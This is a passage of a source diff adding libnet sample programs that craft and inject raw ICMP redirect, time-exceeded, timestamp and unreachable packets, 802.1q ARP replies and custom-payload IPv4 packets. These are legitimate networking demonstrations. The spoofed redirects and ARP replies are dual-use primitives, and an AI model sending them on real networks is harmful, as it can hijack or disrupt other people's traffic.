* Copyright (c) 2003 Alberto Ornaghi <alor@antifork.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_long src_ip, dst_ip, gw_ip; + u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP redirect[link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + gw_ip = 0; + while((c = getopt(argc, argv, "d:s:g:")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + case 'g': + if ((gw_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad gateway IP address: %s\n", optarg); + exit(1); + } + break; + } + } + if (!src_ip || !dst_ip || !gw_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + 0x42, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + dst_ip, /* source IP */ + src_ip, /* destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build error IP header: %s\n", + libnet_geterror(l)); + goto bad; + } + + t = libnet_build_icmpv4_redirect( + ICMP_REDIRECT, /* type */ + ICMP_REDIRECT_HOST, /* code */ + 0, /* checksum */ + gw_ip, + NULL, + 0, + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H + + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + 0xee, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -s source_ip -d destination_ip -g gateway_ip\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/icmp_timeexceed.c b/libnet/sample/icmp_timeexceed.c new file mode 100644 index 0000000..ef372a0 --- /dev/null +++ b/libnet/sample/icmp_timeexceed.c @@ -0,0 +1,190 @@ +/* + * $Id: icmp_timeexceed.c,v 1.3 2004/03/16 18:40:58 mike Exp $ + * + * libnet 1.1 + * Build an ICMP timeexceed packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_long src_ip, dst_ip; + u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP timeexceed[link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + while((c = getopt(argc, argv, "d:s:")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + } + } + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + t = libnet_build_ipv4( + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + 0xee, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + dst_ip, /* source IP */ + src_ip, /* destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build error IP header: %s\n", + libnet_geterror(l)); + goto bad; + } + + t = libnet_build_icmpv4_timeexceed( + ICMP_TIMXCEED, /* type */ + ICMP_TIMXCEED_INTRANS, /* code */ + 0, /* checksum */ + NULL, + 0, + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_TIMXCEED_H + + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + 0xee, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/icmp_timestamp.c b/libnet/sample/icmp_timestamp.c new file mode 100644 index 0000000..c536020 --- /dev/null +++ b/libnet/sample/icmp_timestamp.c @@ -0,0 +1,157 @@ +/* + * $Id: icmp_timestamp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an ICMP_TSTAMP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP timestamp[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + while((c = getopt(argc, argv, "d:s:")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + } + } + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_icmpv4_timestamp( + ICMP_TSTAMP, /* type */ + 0, /* code */ + 0, /* checksum */ + 242, /* id */ + 424, /* sequence number */ + 1000, /* otime */ + 2000, /* rtime */ + 3000, /* ttime */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/icmp_unreach.c b/libnet/sample/icmp_unreach.c new file mode 100644 index 0000000..a9ac22a --- /dev/null +++ b/libnet/sample/icmp_unreach.c @@ -0,0 +1,204 @@ +/* + * $Id: icmp_unreach.c,v 1.4 2004/03/16 18:40:59 mike Exp $ + * + * libnet 1.1 + * Build an ICMP unreachable packet + * + * Hacked by Frederic Raynal <pappy@security-labs.org> to illustrate + * the new API of ICMP error messages fixing Aaron's bugs. + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c, i; + libnet_t *l = NULL; + libnet_ptag_t ip_err = 0, icmp = 0, ip = 0, eth = 0; + u_long src_ip, dst_ip; + u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + int mode = LIBNET_LINK; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n"); + + src_ip = 0; + dst_ip = 0; + + while((c = getopt(argc, argv, "d:s:r")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + case 'r': + mode = LIBNET_RAW4; + break; + } + } + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + mode, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + for (i=0; i<255; i++) + { + ip_err = libnet_build_ipv4( + LIBNET_IPV4_H + payload_s, /* o length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */ + (u_int16_t)i, /* o IP ID */ + 0, /* o frag */ + 64, /* o TTL */ + IPPROTO_UDP, /* o protocol */ + 0, /* o checksum */ + dst_ip, /* o source IP */ + src_ip, /* o destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, + ip_err); + if (ip_err == -1) + { + fprintf(stderr, "Can't build error IPv4 header: %s\n", + libnet_geterror(l)); + goto bad; + } + + icmp = libnet_build_icmpv4_unreach( + ICMP_UNREACH, /* type */ + ICMP_UNREACH_PORT, /* code */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + icmp); + if (icmp == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + (u_int16_t)i + 1, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + ip); + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + if (mode == LIBNET_LINK) { + eth = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + eth); /* libnet id */ + + if (eth == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + } + /* + * Write it to the wire. + */ + libnet_diag_dump_pblock(l); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } +} + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/ieee.c b/libnet/sample/ieee.c new file mode 100644 index 0000000..0037b01 --- /dev/null +++ b/libnet/sample/ieee.c @@ -0,0 +1,177 @@ +/* + * $Id: ieee.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an ieee 802.1q/ARP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c, len, do_802_2; + u_long i; + libnet_t *l; + libnet_ptag_t t; + u_char *dst, *src, oui[3]; + char *device = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ieee[802.1q / 802.2 / ARP]\n"); + + do_802_2 = 0; + device = NULL; + src = dst = NULL; + while ((c = getopt(argc, argv, "8d:i:s:")) != EOF) + { + switch (c) + { + case '8': + do_802_2 = 1; + break; + case 'd': + dst = libnet_hex_aton(optarg, &len); + break; + case 'i': + device = optarg; + break; + case 's': + src = libnet_hex_aton(optarg, &len); + break; + } + } + + if (src == NULL || dst == NULL) + { + fprintf(stderr, "usage %s -d dst -s src [-8 ] [-i interface]\n", + argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + i = libnet_get_ipaddr4(l); + + t = libnet_build_arp( + ARPHRD_ETHER, /* hardware addr */ + ETHERTYPE_IP, /* protocol addr */ + 6, /* hardware addr size */ + 4, /* protocol addr size */ + ARPOP_REPLY, /* operation type */ + src, /* sender hardware addr */ + (u_char *)&i, /* sender protocol addr */ + dst, /* target hardware addr */ + (u_char *)&i, /* target protocol addr */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); + goto bad; + } + + if (do_802_2) + { + memset(&oui, 0, 3); + t = libnet_build_802_2snap( + 0xaa, /* SNAP DSAP */ + 0xaa, /* SNAP SSAP */ + 0, /* control */ + oui, /* oui */ + ETHERTYPE_ARP, /* ARP header follows */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build 802.2 header: %s\n", libnet_geterror(l)); + goto bad; + } + } + t = libnet_build_802_1q( + dst, /* dest mac */ + src, /* source mac */ + ETHERTYPE_VLAN, /* TPI */ + 0x006, /* priority (0 - 7) */ + 0x001, /* CFI flag */ + 0x100, /* vid (0 - 4095) */ + do_802_2 ? LIBNET_802_2SNAP_H + LIBNET_ARP_ETH_IP_H : 0x0806, + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build 802.1q header: %s\n", libnet_geterror(l)); + goto bad; + } + /* + * Write it to the wire. + */ + c = libnet_write(l); + + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte 802.1q packet; check the wire.\n", c); + } + free(dst); + free(src); + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + free(dst); + free(src); + libnet_destroy(l); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/ip_link.c b/libnet/sample/ip_link.c new file mode 100644 index 0000000..9b471f0 --- /dev/null +++ b/libnet/sample/ip_link.c @@ -0,0 +1,201 @@ +/* + * + * libnet 1.1 + * Build a IPv4 packet with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Ex: + * - send an UDP packet from port 4369 to port 8738 + * ./ip -s 1.1.1.1 -d 2.2.2.2 + * + * - send a TCP SYN from port 4369 to port 8738 + * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"` + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + char *device = NULL; + char *dst = "2.2.2.2", *src = "1.1.1.1"; + char *hwdst = "22:22:22:22:22:22", *hwsrc = "11:11:11:11:11:11"; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + libnet_ptag_t ip_ptag = 0; + libnet_ptag_t eth_ptag = 0; + u_short proto = IPPROTO_UDP; + u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + + printf("libnet 1.1 packet shaping: IP + payload[link]\n"); + + while ((c = getopt(argc, argv, "d:s:D:S:tp:i:h")) != EOF) + { + switch (c) + { + case 'D': + hwdst = optarg; + break; + + case 'S': + hwsrc = optarg; + break; + + case 'd': + dst = optarg; + break; + + case 's': + src = optarg; + break; + + case 'i': + device = optarg; + break; + + case 't': + proto = IPPROTO_TCP; + break; + + case 'p': + strncpy(payload, optarg, sizeof(payload)-1); + payload_s = strlen(payload); + break; + + case 'h': + usage(argv[0]); + exit(EXIT_SUCCESS); + + default: + exit(EXIT_FAILURE); + } + } + + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + device, /* network interface */ + errbuf); /* error buffer */ + + printf("Using device %s\n", l->device); + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", dst); + exit(EXIT_FAILURE); + } + + if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", src); + exit(EXIT_FAILURE); + } + + /* + * Build the packet + */ + ip_ptag = libnet_build_ipv4( + LIBNET_IPV4_H 